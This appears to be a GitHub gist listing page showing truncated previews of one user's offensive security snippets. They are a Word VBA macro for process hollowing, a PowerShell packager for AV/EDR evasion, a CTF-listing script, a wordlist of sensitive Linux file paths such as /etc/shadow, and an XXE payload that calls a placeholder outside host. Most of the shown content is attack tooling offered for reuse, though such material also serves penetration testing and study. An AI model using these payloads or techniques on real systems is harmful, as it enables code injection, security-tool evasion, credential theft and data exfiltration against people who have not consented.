Skip to content

Instantly share code, notes, and snippets.

@Mayfly277
Mayfly277 / process_hollowing.vba
Created September 25, 2022 07:26
VBA process holoowing. Modification of https://github.com/ColeHouston/word-vba-process-hollowing/blob/main/macro.vb to manage 32bits word and not only 64bits.
#If Win64 Then
Private Declare PtrSafe Function ZwQueryInformationProcess Lib "NTDLL" (ByVal hProcess As LongPtr, ByVal procInformationClass As Long, ByRef procInformation As PROCESS_BASIC_INFORMATION, ByVal ProcInfoLen As Long, ByRef retlen As Long) As Long
Private Declare PtrSafe Function CreateProcessA Lib "KERNEL32" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFOA, lpProcessInformation As PROCESS_INFORMATION) As LongPtr
Private Declare PtrSafe Function ReadProcessMemory Lib "KERNEL32" (ByVal hProcess As LongPtr, ByVal lpBaseAddress As LongPtr, lpBuffer As Any, ByVal dwSize As Long, ByVal lpNumberOfBytesRead As Long) As Long
Private Declare PtrSafe Function WriteProcessMemory Lib "KERNEL32" (ByVal hProcess As LongPtr, ByVal lpBaseAddress As LongPtr, lpBuffer As
@Mayfly277
Mayfly277 / EncodeAssembly.ps1
Last active April 14, 2024 02:24
This script is a modification of the one from @snovvcrash website : https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/av-edr-evasion/dotnet-reflective-assembly and some code of PowerSharpPack. This is made to package some bniaries to powershell.
Function Invoke-EncodeAssembly
{
[CmdletBinding()]
Param(
[Parameter(Mandatory=$true)]
[String]
$binaryPath,
[Parameter(Mandatory=$true)]
[String]
#! /usr/local/bin/python
# -*- coding: utf-8 -*-
import requests
import datetime
def print_ctf(ctfs):
key_list = (
('title', 40),
@Mayfly277
Mayfly277 / linux-files-wordlist.txt
Last active June 27, 2017 12:54
interesting file listing linux
# main
/etc/passwd
/proc/version
/etc/motd
/etc/issue
/etc/shadow
/etc/shadow~
/etc/shadow.bak
/etc/master.passwd
/etc/group
@Mayfly277
Mayfly277 / XXE_payloads
Created June 23, 2017 23:46 — forked from staaldraad/XXE_payloads
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>